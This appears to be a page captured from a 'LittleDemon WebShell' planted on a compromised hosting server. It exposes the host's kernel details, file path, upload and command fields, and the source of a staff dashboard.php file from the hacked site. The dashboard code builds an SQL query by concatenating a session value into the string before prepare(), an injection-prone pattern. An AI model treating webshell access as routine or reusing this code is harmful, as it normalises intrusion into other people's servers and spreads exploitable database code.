LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/portal.urbanpillar.in/public_html/
File Upload :
Command :
Current File : /home/u901718425/domains/portal.urbanpillar.in/public_html/dashboard.php

<?php
require_once __DIR__ . "/config/db.php";

include_once __DIR__ . "/config/userValidation.php";

$sql = "SELECT `login_time`, `logout_time` 
        FROM `user_attendance` 
        WHERE user_id = " . $_SESSION['user_id'] . " 
        AND DATE(login_time) = CURDATE()";

$stmt = $conn->prepare($sql);
$stmt->execute();
$result = $stmt->get_result();
$attendance = $result->fetch_assoc();

include(__DIR__ . "/layout/header.php");
?>
<!-- Spinner Start -->
<div id="spinner"
  class="show bg-white position-fixed translate-middle w-100 vh-100 top-50 start-50 d-flex align-items-center justify-content-center">
  <div class="spinner-border text-primary" style="width: 3rem; height: 3rem;" role="status">
    <span class="sr-only">Loading...</span>
  </div>
</div>
<!-- Spinner End -->

<?php include(__DIR__ . "/layout/sidebar.php"); ?>

<!-- Content Start -->
<div class="content">
  <?php include(__DIR__ . "/layout/navbar.php"); ?>
  <div class="container-fluid pt-4 px-4">
    <div class="row g-4">
      <!-- <div class="col-sm-12 col-md-6 col-xl-4">
        <div class="h-100 bg-light rounded p-4">
          <div class="d-flex align-items-center justify-content-between mb-2">
            <h6 class="mb-0">Messages</h6>
            <a href="">Show All</a>
          </div>
          <div class="d-flex align-items-center border-bottom py-3">
            <img class="rounded-circle flex-shrink-0" src="img/user.jpg" alt="" style="width: 40px; height: 40px;">
            <div class="w-100 ms-3">
              <div class="d-flex w-100 justify-content-between">
                <h6 class="mb-0">Jhon Doe</h6>
                <small>15 minutes ago</small>
              </div>
              <span>Short message goes here...</span>
            </div>
          </div>
          <div class="d-flex align-items-center border-bottom py-3">
            <img class="rounded-circle flex-shrink-0" src="img/user.jpg" alt="" style="width: 40px; height: 40px;">
            <div class="w-100 ms-3">
              <div class="d-flex w-100 justify-content-between">
                <h6 class="mb-0">Jhon Doe</h6>
                <small>15 minutes ago</small>
              </div>
              <span>Short message goes here...</span>
            </div>
          </div>
          <div class="d-flex align-items-center border-bottom py-3">
            <img class="rounded-circle flex-shrink-0" src="img/user.jpg" alt="" style="width: 40px; height: 40px;">
            <div class="w-100 ms-3">
              <div class="d-flex w-100 justify-content-between">
                <h6 class="mb-0">Jhon Doe</h6>
                <small>15 minutes ago</small>
              </div>
              <span>Short message goes here...</span>
            </div>
          </div>
          <div class="d-flex align-items-center pt-3">
            <img class="rounded-circle flex-shrink-0" src="img/user.jpg" alt="" style="width: 40px; height: 40px;">
            <div class="w-100 ms-3">
              <div class="d-flex w-100 justify-content-between">
                <h6 class="mb-0">Jhon Doe</h6>
                <small>15 minutes ago</small>
              </div>
              <span>Short message goes here...</span>
            </div>
          </div>
        </div>
      </div> -->
      <div class="col-sm-12 col-md-6 col-xl-4">
        <div class="h-100 bg-light rounded p-4">
          <div class="d-flex align-items-center justify-content-between mb-4">
            <h6 class="mb-0">Weekly Targets</h6>
            <!-- <a href="">Show All</a> -->
          </div>
          <div class="fs-7 text-dark" id="weekly">
            <div class="d-flex align-items-center border-bottom py-2">
              <div class="w-100">
                <span>Short task goes here...</span>
              </div>
            </div>
          </div>

        </div>
      </div>
      <div class="col-sm-12 col-md-6 col-xl-4">
        <div class="h-100 bg-light rounded p-4">
          <div class="d-flex align-items-center justify-content-between mb-4">
            <h6 class="mb-0">Attendance Calender</h6>
            <!-- <a href="">Show All</a> -->
          </div>
          <div id="calender"></div>
        </div>
      </div>
      <div class="col-sm-12 col-md-6 col-xl-4">
        <div class="h-100 bg-light rounded p-4">
          <div class="d-flex align-items-center justify-content-between mb-4">
            <h6 class="mb-0">To Do List</h6>
            <!-- <a href="">Show All</a> -->
          </div>
          <div class="d-flex mb-2 ">
            <input class="form-control bg-transparent fs-7" type="text" id="todolist" placeholder="Enter task">
            <button type="button" id="todolistAdd" class="btn btn-primary fs-7 ms-2">Add</button>
          </div>
          <div class="fs-7" id="todoList"></div>
        </div>
      </div>
    </div>
    <div class="w-100 row m-0 justify-content-center p-3">
      <!-- Calendar Column -->
      <div class="col-md-6 text-center">
        <div id="calendar">
          <div id="month"></div>
          <div class="calendar-grid" id="days"></div>
          <div class="calendar-grid" id="dates"></div>
        </div>
      </div>

      <!-- Task Display Column -->
      <!-- <div class="col-md-6 text-start">
        <h5>Selected Date: <span id="selectedDateLabel">None</span></h5>
        <ol class="list-group list-group-numbered mb-3" id="taskDisplayList">
          <li class="list-group-item">Select a date to view tasks</li>
        </ol>
      </div> -->
    </div>

    <!-- Modal -->
    <div class="modal fade" id="taskModal" tabindex="-1" aria-labelledby="taskModalLabel" aria-hidden="true">
      <div class="modal-dialog">
        <div class="modal-content">
          <div class="modal-header">
            <h5 class="modal-title" id="taskModalLabel">Today's Tasks</h5>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <textarea class="form-control" id="taskInput" rows="4"
              placeholder="Enter your tasks for today... seprated by (,)"></textarea>
            <ol class="list-group list-group-numbered mb-3 text-start" id="taskList"></ol>
          </div>
          <div class="modal-footer">
            <button type="button" id="addTask" class="btn btn-success">Save Task</button>
            <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
          </div>
        </div>
      </div>
    </div>

  </div>
  <!-- Content End -->

  <?php include(__DIR__ . "/layout/footer.php"); ?>

  <?php addScript(["/dashboard.js"]); ?>

LittleDemon - FACEBOOK
[ KELUAR ]